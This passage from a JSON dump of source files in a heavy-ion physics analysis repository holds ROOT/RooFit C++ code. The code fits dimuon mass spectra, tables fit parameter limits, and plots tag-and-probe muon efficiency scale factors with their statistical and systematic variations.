simple pull= \"<<frame->chiSquare()<<\"\\t chi2 from RooFit= \"<<chi2FromRoo <<endl;\n RooHist *phPullm = frame->pullHist(0,0,true); // this calcualtes the pulls taking the integral of the fit in each bin, instead of the value in the middle of the bid\n phPullm->SetName(\"phPullm\");\n double *ypull = phPullm->GetY();\n double Chi2 = 0;\n int nFullBinsPull = 0;\n for (int i=0; i < nbins; i++) \n {\n if (MReco->GetBinContent(i) == 0) continue;\n nFullBinsPull++;\n Chi2 = Chi2 + pow(ypull[i],2);\n }\n // for writing on canvas\n int nFitParam = fit_2nd->floatParsFinal().getSize();\n int Dof = nFullBinsPull - nFitParam;\n double UnNormChi2 = Chi2;\n Chi2 /= (nFullBinsPull - nFitParam);\n \n cout<<\"!!!!! nFullBinsPull=\"<<nFullBinsPull<<\"\\tnFitParam=\"<<nFitParam<<endl;\n // draw pulls\n pPad2->cd();\n double mFrameMax = 0;\n \n\n RooPlot* prpFramePull = mass->frame(Title(\"Pull\"),Bins(nbins),Range(mass_l,mass_h));\n \n prpFramePull->GetXaxis()->SetTitle(\"m_{#mu#mu} (GeV/c^{2})\");\n prpFramePull->GetXaxis()->CenterTitle(kTRUE);\n prpFramePull->GetXaxis()->SetTitleSize(0.06);\n prpFramePull->GetXaxis()->SetLabelSize(0.1);\n prpFramePull->GetYaxis()->CenterTitle(kTRUE);\n prpFramePull->GetYaxis()->SetTitleSize(0.08);\n prpFramePull->GetYaxis()->SetLabelSize(0.1);\n prpFramePull->GetYaxis()->SetTitleOffset(0.4);\n prpFramePull->GetXaxis()->SetTitleOffset(0.6);\n \n prpFramePull->GetYaxis()->SetTitle(\"Pull\");\n prpFramePull->addPlotable(phPullm,\"PX\");\n \n if (prpFramePull->GetMinimum()*-1 > prpFramePull->GetMaximum()) mFrameMax = prpFramePull->GetMinimum()*-1;\n else mFrameMax = prpFramePull->GetMaximum();\n prpFramePull->SetMaximum(mFrameMax); \n prpFramePull->SetMinimum(-1*mFrameMax); \n prpFramePull->Draw();\n\n latex1.SetTextSize(0.085);\n double myChi2 = chi2FromRoo*Dof;\n latex1.DrawLatex(0.7,1.-0.05*3.5,Form(\"#chi^{2}/ndf = %2.1f/%d\",myChi2,Dof));\n \n //cm.SaveAs(figsDir+figName_+paramOn_+\"_pulls.png\");\n cm.SaveAs(figsDir+figName_+paramOn_+\"_pulls.pdf\");\n float baseNll = fit_2nd->minNll();\n float estimatedDistance2Minimum = fit_2nd->edm();\n string outParameters_forNote = outDatsDir+\"/\"+figName_+\"forNote.txt\";\n cout<<\"Output file: \" << outParameters_forNote<<endl;\n ofstream outfileFitResults_forNote;\n outfileFitResults_forNote.open(outParameters_forNote.c_str(), ios_base::out);\n outfileFitResults_forNote<<figName_<<\" \"<<nsig1f->getVal()<<\" \"<<nsig1f->getError()<<\" \"<<npow->getVal()<<\" \"<<npow->getError()<<\" \"<<alpha->getVal()<<\" \"<<alpha->getError()<<\" \"<<sigma1->getVal()<<\" \"<<sigma1->getError()<<\" \"<<scaleWidth->getVal()<<\" \"<<scaleWidth->getError()<<\" \"<<sigmaFraction->getVal()<< \" \"<<sigmaFraction->getError()<<\" \"<<estimatedDistance2Minimum<<\" \"<<baseNll<<endl;\n outfileFitResults_forNote.close();\n RooWorkspace *ws = new RooWorkspace(\"ws\",\"workspace with good stuff\");\n ws->import(binnedData);\n ws->import(*fit_2nd);\n ws->import(*pdf);\n \n \n string outRooFitResult = outDatsDir+\"/WS_\"+figName_+\"_fitres.root\"; \n ws->writeToFile(Form(\"%s\",outRooFitResult.c_str())); \n}\n" }, { "alpha_fraction": 0.29262974858283997, "alphanum_fraction": 0.5307457447052002, "avg_line_length": 42.132076263427734, "blob_id": "bffa9fe480866cfa1a8ef3169e1dff1a114bc2de", "content_id": "abf5760cd1041d7506fa1867792fc1e8b8beb95b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 2293, "license_type": "no_license", "max_line_length": 88, "num_lines": 53, "path": "/fitting/bkgTable_pp.h", "repo_name": "nfilipov/HIN-15-001", "src_encoding": "UTF-8", "text": "\n#define nData 9\n char* choseSampleLegend[nData] = {\"\",\n\t\t\t\t\t\"pp #sqrt{s} = 7 TeV\",\n\t\t\t\t\t\"pp #sqrt{s} = 7 TeV\",\n\t\t\t\t\t\"PbPb #sqrt{s_{NN}} = 2.76 TeV (pp reco TT)\",\n\t\t\t\t\t\"PbPb #sqrt{s_{NN}} = 2.76 TeV (pp reco GG)\",\n\t\t\t\t\t\"PbPb #sqrt{s_{NN}} = 2.76 TeV (HI reco GG)\",\n\t\t\t\t\t\"PbPb #sqrt{s_{NN}} = 2.76 TeV (Regit)\", //was #3 is now #6\n\t\t\t\t\t\"pp #sqrt{s} = 2.76 TeV\", ////\t\"\", pPb #sqrt{s_{NN}} = 5.02 TeV\n\t\t\t\t\t\"Pythia+EvtGen+PHOTOS\"}; //CMS simulation, pp #sqrt{s} = 2.76 TeV\n\n char* choseSampleLumi[nData] = {\"\",\n\t\t\t\t \"L_{int} = 621 pb^{-1}\",\n\t\t\t\t \"L_{int} = 966 pb^{-1}\",\n\t\t\t\t \"L_{int} = xxx #mub^{-1}\",\n\t\t\t\t \"L{int} = xxx #mub^{-1}\",\n\t\t\t\t \"L_{int} = 150 #mub^{-1}\",\n\t\t\t\t \"L_{int} = 166 #mub^{-1}\",\n\t\t\t\t \"L_{int} = 5.41 pb^{-1} \", ///////L_{int} = 18.4 pb^{-1}\n\t\t\t\t \"\"};\n\n\n// for pp!\nfloat turnOn_minPt[10]={0,0,0,1.4,3,1,0,1.5,0,0};\nfloat width_minPt[10]= {0.4,0.2,0.7,3.2,7,2.51,0.6,4,0.9,0.9};\nfloat decay_minPt[10]= {0.1,1,6,6,0,0,0,1,1,1};\nfloat turnOn_maxPt[10]={10,9,8,4,9,9,9,10,25,100};\nfloat width_maxPt[10]= {3.,15.,15,7.2,18,9,15,6,50,50.};\nfloat decay_maxPt[10]= {8.,25.,25,9.,25,10,10,35,35,35.};\n\nfloat turnOn_minRap[9]={0,0,0,0,0,0,0,1.5,0.5};\nfloat width_minRap[9]= {0.2,0.2,0.2,0.2,0.2,0.2,0.6,1.2,0.4};\nfloat decay_minRap[9]= {0,0,0,1,1,1,0,0,0};\nfloat turnOn_maxRap[9]={8.6,8.5,8.8,8.8,8.8,8.8,8.8,8.8,8.8};\nfloat width_maxRap[9]= {3.,9.,9,9,9,9,15,6,20};\nfloat decay_maxRap[9]= {13.,10.,10,8,8,10,13,14,8};\n\n\nfloat turnOn_minCent[13]={0,0,0,0,0,0,0,1.5,0.5,0,0,0,0};\nfloat width_minCent[13]= {0.2,0.2,1,1,1,1.5,0.6,0.8,0.,0.8,0.8,0.8,0.8};\nfloat decay_minCent[13]= {0,0,0,0,0,0,0,0,0,0,0,0,0};\nfloat turnOn_maxCent[13]={8,8.5,8.5,8.5,8.5,8.5,9,8,8.6,8.6,8.6,8.6,8.6};\nfloat width_maxCent[13]= {8.,9.,9,9,9,9,15,6,6,8.,6.,7,8};\nfloat decay_maxCent[13]= {12.,8.,8,8,8,10,10,14,25,10.,8.,8,8};\n\nfloat npow_min[13]={1,1,1,1.01,1.01,1.01,1,1,1,1,1,1,1};\nfloat alpha_min[13]= {0.05,0.05,0.05,0.05,0.05,0.05,0.05,0.05,0.05,0.05,0.05,0.05,0.05};\nfloat sigma_min[13]= {0.02,0.02,0.02,0.02,0.02,0.02,0.02,0.02,0.02,0.02,0.02,0.02,0.02};\n\n\nfloat npow_max[13]={55,55,55,12,12,6,55,55,55,55,55,55,55};\nfloat alpha_max[13]= {10.,10.,10,10,10,10,5,20,7,10,10,10,10};\nfloat sigma_max[13]= {0.3,0.3,0.3,0.3,0.3,0.3,0.3,0.3,0.3,0.3,0.3,0.3,0.3};\n \n \n" }, { "alpha_fraction": 0.5285611152648926, "alphanum_fraction": 0.599423348903656, "avg_line_length": 44.02434158325195, "blob_id": "a3cc6a2d35e8baae60a9832dff450d935093a48a", "content_id": "297df99368ce9e573da142b1eec2779985d5cd71", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 22198, "license_type": "no_license", "max_line_length": 198, "num_lines": 493, "path": "/plotting/plotAllFunctions.C", "repo_name": "nfilipov/HIN-15-001", "src_encoding": "UTF-8", "text": "//#include \"headerForTNP.h\"\n#include \"headerForTNP_extended.h\"\n double myFunc(double *x, double *par){\n Float_t xx =x[0];\n double f; \n // par[0] is the normalisation;\n // par[1] is the mu_data;\n // par[2] is the sigma_data;\n // par[3] is the index in the array : 0 is the nominal case, 1-101 are the 100 variations.\n // par[4] is the Abs(eta) region : 0 is barrel, 1 is endcap muons.\n // par[5] is the collision type : 0 is pp, 1 is pbpb.\n\n ///let's go:\n if(par[5]>0){ //doing pbpb first,\n if(par[4]<1) { // barrel,\n if(par[3]<1) { // nominal \n\t f = (par[0]*TMath::Erf((xx-par[1])/par[2]))/ (0.9576*TMath::Erf((xx-1.7883)/2.6583)); //(TMath::Erf((xx-1.7960)/2.5160)); //OK!\n }\n if(par[3]>0){ // variations\n \t f = (par[0]*TMath::Erf((xx-par[1])/par[2])/(0.9576*TMath::Erf((xx-1.7883)/2.6583))); ///OK! \n }\n }\n if(par[4]>0){// endcap,\n if(par[3]<1) { // nominal case\n \t f = (par[0]*TMath::Erf((xx-par[1])/par[2]))/(0.7948*TMath::Erf((xx-1.3091)/2.2783)); //(0.7810*TMath::Erf((xx-1.3609)/2.1231));\n }\n if(par[3]>0){ // variations\n \t f = (par[0]*TMath::Erf((xx-par[1])/par[2])/(0.7948*TMath::Erf((xx-1.3091)/2.2783))); /// (0.7948*TMath::Erf((xx-1.3091)/2.2783))); // should check why the variations had this numerator.\n }\n }\n }\n if(par[5]<1){ //doing pp now,\n if(par[4]<1) { // barrel,\n if(par[3]<1) { // nominal \n\t f = (par[0]*TMath::Erf((xx-par[1])/par[2]))/(0.9604*TMath::Erf((xx-2.0586)/2.1567));// (TMath::Erf((xx-1.7960)/2.5160)); //OK!\n }\n if(par[3]>0){ // variations\n \t f = (par[0]*TMath::Erf((xx-par[1])/par[2]))/ (0.9604*TMath::Erf((xx-2.0586)/2.1567)); /// new one matches what dongho had in the variations.\n }\n }\n if(par[4]>0){// endcap,\n if(par[3]<1) { // nominal case\n \t f = (par[0]*TMath::Erf((xx-par[1])/par[2]))/(0.7364*TMath::Erf((xx-1.2149)/2.3352));//(0.7364*TMath::Erf((xx-1.2538)/2.2530)); this is the old one...\n }\n if(par[3]>0){ // variations\n \t f = (par[0]*TMath::Erf((xx-par[1])/par[2]))/ (0.7364*TMath::Erf((xx-1.2149)/2.3352)); ///\n }\n }\n }\n return f;\n \n //pbpb midrap\n //\n //\n \n //pbpb fwdrap\n //j>0 (0.7810*TMath::Erf((x-1.3609)/2.1231))\n //j=0 (0.8299*TMath::Erf((pt-1.2785)/1.8833))/(0.7810*TMath::Erf((pt-1.3609)/2.1231) \n \n //pp midrap\n //j>0 (0.9604*TMath::Erf((x-2.0583)/2.1573))\n //j=0 (0.998474*TMath::Erf((pt-1.63555)/(0.797933))/TMath::Erf((pt-0.222866)/(2.95593)))\n\n //pp fwd\n //j>0 (0.7364*TMath::Erf((x-1.2149)/2.3352))\n //j=0 (0.7788*TMath::Erf((pt-1.1903)/1.9880))/(0.7364*TMath::Erf((pt-1.2538)/2.2530))\n }\n\ndouble myNumerator( double *x, double *par){\n double f;\n double xx = x[0];\n ///let's go:\n if(par[5]>0){ //doing pbpb first,\n if(par[4]<1) { // barrel,\n if(par[3]<1) { // nominal \n\t f = (par[0]*TMath::Erf((xx-par[1])/par[2]));\n }\n if(par[3]>0){ // variations\n \t f = (par[0]*TMath::Erf((xx-par[1])/par[2])); /// \n }\n }\n if(par[4]>0){// endcap,\n if(par[3]<1) { // nominal case\n \t f = (par[0]*TMath::Erf((xx-par[1])/par[2]));\n }\n if(par[3]>0){ // variations\n \t f = (par[0]*TMath::Erf((xx-par[1])/par[2])); /// \n }\n }\n }\n if(par[5]<1){ //doing pp now,\n if(par[4]<1) { // barrel,\n if(par[3]<1) { // nominal \n\t f = (par[0]*TMath::Erf((xx-par[1])/par[2]));\n }\n if(par[3]>0){ // variations\n \t f = (par[0]*TMath::Erf((xx-par[1])/par[2])); /// \n }\n }\n if(par[4]>0){// endcap,\n if(par[3]<1) { // nominal case\n \t f = (par[0]*TMath::Erf((xx-par[1])/par[2]));\n }\n if(par[3]>0){ // variations\n \t f = (par[0]*TMath::Erf((xx-par[1])/par[2])); /// \n }\n }\n }\n return f;\n}\nvoid plotAllFunctions()\n{\n double pbpb=1; // if pbpb=0, you're doing pp.\n double endcap=0;//if endcap=0, you're doing barrel ;)\n int j=0; // cool increment.\n bool doOnlyNumerator= true;\n // /// ...the classic ones... // ///\n TCanvas *cBarrel_pbpb = new TCanvas (\"cBarrel_pbpb\",\"cBarrel_pbpb\",1400,700);\n cBarrel_pbpb->Divide(2);\n cBarrel_pbpb->cd(1);\n TF1 *f1 = new TF1(\"Tag and Probe and variations\",myFunc,0,20,6);\n if (doOnlyNumerator){ f1= new TF1(\"myFunk\",myNumerator,0,20,6);}\n cout << j << endl;\n cout << endcap << endl;\n f1->SetParameters(alpha_pbpb_midrap[j],mu_data_pbpb_midrap[j],sigma_data_pbpb_midrap[j],j,endcap,pbpb);\n f1->SetRange(3.5,20);\n if(!doOnlyNumerator){ f1->GetYaxis()->SetRangeUser(0.6,1.8); }\n else if(doOnlyNumerator){ f1->GetYaxis()->SetRangeUser(0.0,1.5); }\n f1->Draw();\n std::cout << \"NOMINAL pbpb midrap\" << std::endl; \n std::cout << alpha_pbpb_midrap[j] <<\"*TMath::Erf((x-\"<< mu_data_pbpb_midrap[j] <<\")/\"<<sigma_data_pbpb_midrap[j]<<\") / (0.9576*TMath::Erf((x-1.7883)/2.6583))\"<<std::endl;\n\n //systematic variations on top\n j=0;\n TF1 *fS1 = new TF1(\"Systematic variations\",myFunc,0,20,6);\n if (doOnlyNumerator){ fS1= new TF1(\"myFunk\",myNumerator,0,20,6);}\n cout << j << endl;\n cout << endcap << endl;\n fS1->SetParameters(alpha_pbpb_midrap_syst[j],mu_data_pbpb_midrap_syst[j],sigma_data_pbpb_midrap_syst[j],j,endcap,pbpb);\n fS1->SetRange(3.5,20);//midrapidity pt limit >3.4 GeV\n if(!doOnlyNumerator){ fS1->GetYaxis()->SetRangeUser(0.6,1.8); }\n else if(doOnlyNumerator){ fS1->GetYaxis()->SetRangeUser(0.0,1.5); }\n fS1->SetLineColor(kBlack);\n // fS1->Draw();\n std::cout << \"SYSTEMATICS pbpb midrap\" << std::endl; \n std::cout << alpha_pbpb_midrap_syst[j] <<\"*TMath::Erf((x-\"<< mu_data_pbpb_midrap_syst[j] <<\")/\"<<sigma_data_pbpb_midrap_syst[j]<<\") / (0.9576*TMath::Erf((x-1.7885)/2.6587))\"<<std::endl;\n std::cout << \"Systematic variations on the pbpb midrap\" << std::endl; \n for(j=1;j< 101;j++){\n fSb = new TF1(\"Tag and Probe and variations\",myFunc,0,20,6);\n if (doOnlyNumerator){ fSb= new TF1(\"myFunk\",myNumerator,0,20,6);}\n // fSb->SetRange(0,20);\n std::cout <<alpha_pbpb_midrap_syst[j] <<\"*TMath::Erf((x-\"<< mu_data_pbpb_midrap_syst[j] <<\"/\"<<sigma_data_pbpb_midrap_syst[j]<<\")) / (0.9576*TMath::Erf((x-1.7883)/2.6583))\"<<std::endl;\n fSb->SetParameters(alpha_pbpb_midrap_syst[j],mu_data_pbpb_midrap_syst[j],sigma_data_pbpb_midrap_syst[j],j,endcap,pbpb);\n fSb->SetLineColor(kOrange+1);\n fSb->Draw(\"same\");\n }\n\n for(j=1;j< 101;j++){\n //reminder:\n // p[0] is the normalisation;\n // p[1] is the mu_data;\n // p[2] is the sigma_data;\n // p[3] is the index in the array : 0 is the nominal case, 1-101 are the 100 variations.\n // p[4] is the Abs(eta) region : 0 is barrel, 1 is endcap muons.\n // p[5] is the collision type : 0 is pp, 1 is pbpb.\n fb = new TF1(\"myfunc\",myFunc,0,20,6);\n if (doOnlyNumerator){ fb= new TF1(\"myFunk\",myNumerator,0,20,6);}\n // fb->SetRange(0,20);\n std::cout << j << alpha_pbpb_midrap[j] <<\"*TMath::Erf((x-\"<< mu_data_pbpb_midrap[j] <<\"/\"<<sigma_data_pbpb_midrap[j]<<\")) / (0.9576*TMath::Erf((x-1.7883)/2.6583))\"<<std::endl;\n fb->SetParameters(alpha_pbpb_midrap[j],mu_data_pbpb_midrap[j],sigma_data_pbpb_midrap[j],j,endcap,pbpb);\n fb->SetLineColor(kAzure+1);\n fb->Draw(\"same\");\n }\n if (doOnlyNumerator){ f1->GetYaxis()->SetTitle(\"#epsilon^{#mu}_{DATA}\"); }\n else { f1->GetYaxis()->SetTitle(\"Scale Factor\");}\n f1->GetYaxis()->SetTitleOffset(1.3);\n f1->GetXaxis()->SetTitle(\"Probe p_{T} [GeV/c]\");\n f1->GetXaxis()->CenterTitle(kTRUE);\n f1->GetXaxis()->SetTitleOffset(1.3);\n fS1->Draw(\"same\");\n f1->Draw(\"same\");\n TLegend *legend = new TLegend(0.2,0.66,0.9,0.88);\n legend->SetTextSize(0.038);\n legend->SetFillStyle(0);\n legend->SetFillColor(0);\n legend->SetBorderSize(0);\n legend->SetTextFont(42);\n if(!doOnlyNumerator){ \n legend->AddEntry(f1,\"PbPb |#eta^{#mu}| < 1.6 \",\"\");\n legend->AddEntry(f1,\"Nominal T&P function \",\"lp\");\n legend->AddEntry(fb,\"100 stat. variations\",\"lp\");\n legend->AddEntry(fS1,\"Nominal function, 'new' settings \",\"lp\");\n legend->AddEntry(fSb,\"100 stat.+syst. variations \",\"lp\");\n }\n \n else{\n legend->AddEntry(f1,\"PbPb |#eta^{#mu}| < 1.6\",\"\");\n legend->AddEntry(f1,\" #varepsilon^{DATA}_{#mu},nominal\",\"lp\");\n legend->AddEntry(fb,\"100 stat. variations \",\"lp\");\n legend->AddEntry(fS1,\"Nominal function, 'new' settings \",\"lp\");\n legend->AddEntry(fSb,\"100 stat.+syst. variations \",\"lp\");\n }\n legend->Draw();\n\n //endcap pbpb: (0.8299*TMath::Erf((pt-1.2785)/1.8833))/(0.7810*TMath::Erf((pt-1.3609)/2.1231))\n cBarrel_pbpb->cd(2);\n endcap=1;\n TF1 *f2 = new TF1(\"Tag and Probe and variations\",myFunc,0,20,6);\n if (doOnlyNumerator){ f2= new TF1(\"myFunk\",myNumerator,0,20,6);}\n j=0; // reset!\n f2->SetParameters(alpha_pbpb_fwdrap[j],mu_data_pbpb_fwdrap[j],sigma_data_pbpb_fwdrap[j],j,endcap,pbpb);\n f2->SetRange(3.5,20);\n if(!doOnlyNumerator){ f2->GetYaxis()->SetRangeUser(0.8,1.5); }\n else if(doOnlyNumerator){ f2->GetYaxis()->SetRangeUser(0.0,1.5); }\n f2->Draw();\n std::cout << \"NOMINAL pbpb fwdrap\" << std::endl; \n std::cout << alpha_pbpb_fwdrap[j] <<\"*TMath::Erf((x-\"<< mu_data_pbpb_fwdrap[j] <<\"/\"<<sigma_data_pbpb_fwdrap[j]<<\")) /(0.7948*TMath::Erf((x-1.3091)/2.2783))\"<<std::endl;\n\n //systematic variations on top\n j=0; \n TF1 *fs2 = new TF1(\"Systematic variations\",myFunc,0,20,6);\n if (doOnlyNumerator){ fs2= new TF1(\"myFunk\",myNumerator,0,20,6);}\n cout << j << endl;\n cout << endcap << endl;\n fs2->SetParameters(alpha_data_pbpb_fwdrap_syst[j],mu_data_pbpb_fwdrap_syst[j],sigma_data_pbpb_fwdrap_syst[j],j,endcap,pbpb);\n fs2->SetRange(3.5,20);//fwdrapidity pt limit >3.4 GeV\n if(!doOnlyNumerator){ fs2->GetYaxis()->SetRangeUser(0.6,1.8); }\n else if(doOnlyNumerator){ fs2->GetYaxis()->SetRangeUser(0.0,1.8); }\n fs2->SetLineColor(kBlack);\n fs2->Draw();\n std::cout << \"SYSTEMATICS pbpb fwdrap\" << std::endl; \n std::cout << alpha_data_pbpb_fwdrap_syst[j] <<\"*TMath::Erf((x-\"<< mu_data_pbpb_fwdrap_syst[j] <<\")/\"<<sigma_data_pbpb_fwdrap_syst[j]<<\") / (0.9576*TMath::Erf((x-1.7885)/2.6587))\"<<std::endl;\n std::cout << \"Systematic variations on the pbpb fwdrap\" << std::endl; \n for(j=1;j< 101;j++){\n fSe = new TF1(\"Tag and Probe and variations\",myFunc,0,20,6);\n if (doOnlyNumerator){ fSe= new TF1(\"myFunk\",myNumerator,0,20,6);}\n // fSe->SetRange(0,20);\n std::cout <<alpha_data_pbpb_fwdrap_syst[j] <<\"*TMath::Erf((x-\"<< mu_data_pbpb_fwdrap_syst[j] <<\"/\"<<sigma_data_pbpb_fwdrap_syst[j]<<\")) / (0.9576*TMath::Erf((x-1.7883)/2.6583))\"<<std::endl;\n fSe->SetParameters(alpha_data_pbpb_fwdrap_syst[j],mu_data_pbpb_fwdrap_syst[j],sigma_data_pbpb_fwdrap_syst[j],j,endcap,pbpb);\n fSe->SetLineColor(kOrange+1);\n fSe->Draw(\"same\");\n }\n\n std::cout << \"variations on the pbpb fwdrap\" << std::endl; \n for(j=1;j< 101;j++){\n //reminder:\n // p[0] is the normalisation;\n // p[1] is the mu_data;\n // p[2] is the sigma_data;\n // p[3] is the index in the array : 0 is the nominal case, 1-101 are the 100 variations.\n // p[4] is the Abs(eta) region : 0 is barrel, 1 is endcap muons.\n // p[5] is the collision type : 0 is pp, 1 is pbpb.\n fe = new TF1(\"Tag and Probe and variations\",myFunc,0,20,6);\n if (doOnlyNumerator){ fe= new TF1(\"myFunk\",myNumerator,0,20,6);}\n fe->SetRange(3.5,20);\n std::cout << alpha_pbpb_fwdrap[j] <<\"*TMath::Erf((x-\"<< mu_data_pbpb_fwdrap[j] <<\"/\"<<sigma_data_pbpb_fwdrap[j]<<\")) /(0.7948*TMath::Erf((x-1.3091)/2.2783))\"<<std::endl;\n // cout << f << endl;\n fe->SetParameters(alpha_pbpb_fwdrap[j],mu_data_pbpb_fwdrap[j],sigma_data_pbpb_fwdrap[j],j,endcap,pbpb);\n fe->SetLineColor(kAzure+1);\n fe->Draw(\"same\");\n }\n\n if (doOnlyNumerator){ fs2->GetYaxis()->SetTitle(\"#epsilon^{#mu}_{DATA}\"); }\n else{ fs2->GetYaxis()->SetTitle(\"Scale Factor\");}\n fs2->GetYaxis()->SetTitleOffset(1.3);\n fs2->GetXaxis()->SetTitle(\"Probe p_{T} [GeV/c]\");\n f2->GetXaxis()->CenterTitle(kTRUE);\n fs2->GetXaxis()->SetTitleOffset(1.3);\n fs2->Draw(\"same\");\n f2->Draw(\"same\");\n TLegend *leg2 = new TLegend(0.2,0.66,0.9,0.88);\n leg2->SetTextSize(0.038);\n leg2->SetFillStyle(0);\n leg2->SetFillColor(0);\n leg2->SetBorderSize(0);\n leg2->SetTextFont(42);\n if(!doOnlyNumerator){ \n leg2->AddEntry(f2,\"PbPb 1.6 < |#eta^{#mu}| < 2.4 \",\"\");\n leg2->AddEntry(f2,\"Nominal T&P function \",\"lp\");\n leg2->AddEntry(fe,\"100 stat. variations\",\"lp\");\n leg2->AddEntry(fs2,\"Nominal function, 'new' settings \",\"lp\");\n leg2->AddEntry(fSe,\"100 stat.+syst. variations \",\"lp\");\n }\n else{\n leg2->AddEntry(f2,\"PbPb 1.6 < |#eta^{#mu}| < 2.4\",\"\");\n leg2->AddEntry(f2,\"#varepsilon^{DATA}_{#mu}\",\"lp\");\n leg2->AddEntry(fe,\"100 T&P stat. variations\",\"lp\");\n leg2->AddEntry(fs2,\"Nominal function, 'new' settings \",\"lp\");\n leg2->AddEntry(fSe,\"100 stat.+syst. variations \",\"lp\");\n }\n leg2->Draw();\n\n if(!doOnlyNumerator){ cBarrel_pbpb->SaveAs(\"~/Desktop/Grenelle/TNP_pbpb_100variations_newSettings_15-001.pdf\");}\n else{ cBarrel_pbpb->SaveAs(\"~/Desktop/Grenelle/numerator_variations_15-001.pdf\");}\n\n \n \n pbpb=0;\n endcap=0;\n j=0;\n \n TCanvas *cBarrel_pp = new TCanvas (\"cBarrel_pp\",\"cBarrel_pp\",1400,700);\n cBarrel_pp->Divide(2);\n cBarrel_pp->cd(1);\n TF1 *g1 = new TF1(\"Tag and Probe and variations\",myFunc,0,20,6);\n if (doOnlyNumerator){ g1= new TF1(\"myFunk\",myNumerator,0,20,6);}\n cout << j << endl;\n cout << endcap << endl;\n g1->SetParameters(alpha_pp_midrap[j],mu_data_pp_midrap[j],sigma_data_pp_midrap[j],j,endcap,pbpb);\n g1->SetRange(3.5,20);\n if(!doOnlyNumerator){ g1->GetYaxis()->SetRangeUser(0.8,1.5); }\n else if(doOnlyNumerator){ g1->GetYaxis()->SetRangeUser(0.0,1.5); }\n g1->Draw();\n std::cout << \"NOMINAL pp midrap\" << std::endl; \n std::cout << alpha_pp_midrap[j] <<\"*TMath::Erf((x-\"<< mu_data_pp_midrap[j] <<\"/\"<<sigma_data_pp_midrap[j]<<\")) / (0.9604*TMath::Erf((x-2.0586)/2.1567))\"<<std::endl;\n\n //systematic variations on top\n j=0;\n TF1 *fS1_pp = new TF1(\"Systematic variations\",myFunc,0,20,6);\n if (doOnlyNumerator){ fS1_pp= new TF1(\"myFunk\",myNumerator,0,20,6);}\n cout << j << endl;\n cout << endcap << endl;\n fS1_pp->SetParameters(alpha_data_pp_midrap_syst[j],mu_data_pp_midrap_syst[j],sigma_data_pp_midrap_syst[j],j,endcap,pbpb);\n fS1_pp->SetRange(3.5,20);//midrapidity pt limit >3.4 GeV\n if(!doOnlyNumerator){ fS1_pp->GetYaxis()->SetRangeUser(0.8,1.5); }\n else if(doOnlyNumerator){ fS1_pp->GetYaxis()->SetRangeUser(0.0,1.5); }\n fS1_pp->SetLineColor(kBlack);\n fS1_pp->Draw();\n std::cout << \"SYSTEMATICS pp midrap\" << std::endl; \n std::cout << alpha_data_pp_midrap_syst[j] <<\"*TMath::Erf((x-\"<< mu_data_pp_midrap_syst[j] <<\")/\"<<sigma_data_pp_midrap_syst[j]<<\") / (0.9576*TMath::Erf((x-1.7885)/2.6587))\"<<std::endl;\n std::cout << \"Systematic variations on the pp midrap\" << std::endl; \n for(j=1;j< 101;j++){\n fSb_pp = new TF1(\"Tag and Probe and variations\",myFunc,0,20,6);\n if (doOnlyNumerator){ fSb_pp= new TF1(\"myFunk\",myNumerator,0,20,6);}\n // fSb_pp->SetRange(0,20);\n std::cout <<alpha_data_pp_midrap_syst[j] <<\"*TMath::Erf((x-\"<< mu_data_pp_midrap_syst[j] <<\"/\"<<sigma_data_pp_midrap_syst[j]<<\")) / (0.9576*TMath::Erf((x-1.7883)/2.6583))\"<<std::endl;\n fSb_pp->SetParameters(alpha_data_pp_midrap_syst[j],mu_data_pp_midrap_syst[j],sigma_data_pp_midrap_syst[j],j,endcap,pbpb);\n fSb_pp->SetLineColor(kOrange+1);\n fSb_pp->Draw(\"same\");\n }\n\n\n\n std::cout << \"variations on the pp midrap\" << std::endl; \n for(j=1;j< 101;j++){\n //reminder:\n // p[0] is the normalisation;\n // p[1] is the mu_data;\n // p[2] is the sigma_data;\n // p[3] is the index in the array : 0 is the nominal case, 1-101 are the 100 variations.\n // p[4] is the Abs(eta) region : 0 is barrel, 1 is endcap muons.\n // p[5] is the collision type : 0 is pp, 1 is pp.\n gb = new TF1(\"Tag and Probe and variations\",myFunc,0,20,6);\n if (doOnlyNumerator){ gb= new TF1(\"myFunk\",myNumerator,0,20,6);}\n // gb->SetRange(0,20);\n std::cout << alpha_pp_midrap[j] <<\"*TMath::Erf((x-\"<< mu_data_pp_midrap[j] <<\"/\"<<sigma_data_pp_midrap[j]<<\")) / (0.9604*TMath::Erf((x-2.0586)/2.1567))\"<<std::endl;\n gb->SetParameters(alpha_pp_midrap[j],mu_data_pp_midrap[j],sigma_data_pp_midrap[j],j,endcap,pbpb);\n gb->SetLineColor(kAzure+1);\n gb->Draw(\"same\");\n }\n\n\n if (doOnlyNumerator){ fS1_pp->GetYaxis()->SetTitle(\"#epsilon^{#mu}_{DATA}\"); }\n else{ fS1_pp->GetYaxis()->SetTitle(\"Scale Factor\");}\n fS1_pp->GetYaxis()->SetTitleOffset(1.3);\n fS1_pp->GetXaxis()->SetTitle(\"Probe p_{T} [GeV/c]\");\n fS1_pp->GetXaxis()->CenterTitle(kTRUE);\n fS1_pp->GetXaxis()->SetTitleOffset(1.3);\n g1->Draw(\"same\");\n fS1_pp->Draw(\"same\");\n TLegend *legend = new TLegend(0.2,0.66,0.9,0.88);\n legend->SetTextSize(0.038);\n legend->SetFillStyle(0);\n legend->SetFillColor(0);\n legend->SetBorderSize(0);\n legend->SetTextFont(42);\n if(!doOnlyNumerator){ \n // legend->AddEntry(g1,\"pp \",\"\");\n // legend->AddEntry(g1,\"Nominal T&P scaling: |#eta^{#mu}| < 1.6 \",\"lp\");\n // legend->AddEntry(gb,\"100 T&P stat. variations: |#eta^{#mu}| < 1.6 \",\"lp\");\n\n legend->AddEntry(g1,\"pp |#eta^{#mu}| < 1.6 \",\"\");\n legend->AddEntry(g1,\"Nominal T&P function \",\"lp\");\n legend->AddEntry(gb,\"100 stat. variations\",\"lp\");\n legend->AddEntry(fS1_pp,\"Nominal function, 'new' settings \",\"lp\");\n legend->AddEntry(fSb_pp,\"100 stat.+syst. variations \",\"lp\");\n\n }\n else{\n legend->AddEntry(g1,\"pp |#eta^{#mu}| < 1.6 \",\"\");\n legend->AddEntry(g1,\"#varepsilon^{DATA}_{#mu} \",\"lp\");\n legend->AddEntry(gb,\"100 stat. variations \",\"lp\");\n legend->AddEntry(fS1_pp,\"Nominal function, 'new' settings \",\"lp\");\n legend->AddEntry(fSb_pp,\"100 stat.+syst. variations 